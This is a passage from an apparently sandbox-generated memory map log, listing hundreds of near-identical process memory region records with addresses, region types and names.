0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4518 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4519 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4521 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4522 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4523 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4524 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4528 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4529 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4530 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4531 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4533 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4534 start_va = 0xb050000 end_va = 0xb149fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b050000" filename = "" Region: id = 4535 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4536 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4537 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4538 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4542 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4543 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4544 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4545 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4546 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4547 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4548 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4549 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4550 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4551 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4552 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4553 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4559 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4560 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4561 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4562 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4563 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4564 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4565 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4566 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4567 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4568 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4569 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4570 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4571 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4572 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4573 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4574 start_va = 0x11450000 end_va = 0x114cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011450000" filename = "" Region: id = 4575 start_va = 0x114d0000 end_va = 0x1154ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000114d0000" filename = "" Region: id = 4576 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4577 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4578 start_va = 0x11550000 end_va = 0x115cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011550000" filename = "" Region: id = 4579 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4580 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4581 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4582 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4583 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4584 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4585 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4586 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4587 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4588 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4589 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4590 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4591 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4592 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4593 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4594 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4595 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4596 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4597 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4598 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4599 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4600 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4601 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4602 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4603 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4604 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4605 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4606 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4607 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4608 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4609 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4610 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4611 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4612 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4613 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4614 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4615 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4616 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4617 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4618 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4619 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4620 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4621 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4622 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4623 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4624 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4625 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4626 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4627 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4628 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4629 start_va = 0x121d0000 end_va = 0x126c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000121d0000" filename = "" Region: id = 4630 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4631 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4632 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4633 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4634 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4635 start_va = 0x12bd0000 end_va = 0x130c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012bd0000" filename = "" Region: id = 4636 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4637 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4638 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4639 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4640 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4641 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4642 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4643 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4644 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4645 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4646 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4647 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4648 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4649 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4650 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4651 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4652 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4653 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4654 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4655 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4656 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4657 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4658 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4659 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4660 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4661 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4662 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4663 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4664 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4665 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4666 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4667 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4668 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4669 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4670 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4671 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4672 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4673 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4674 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4675 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4676 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4677 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4678 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4679 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4680 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4681 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4682 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4683 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4684 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4685 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4686 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4687 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4688 start_va = 0x6d0000 end_va = 0x6d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4689 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4690 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4691 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4692 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4693 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4694 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4695 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4696 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4697 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4698 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4699 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4700 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4701 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4702 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4703 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4704 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4705 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4706 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4707 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4708 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4709 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4710 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4711 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4712 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4713 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4714 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4715 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4716 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4717 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4718 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4719 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4720 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4721 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4722 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4723 start_va = 0x450000 end_va = 0x45efff 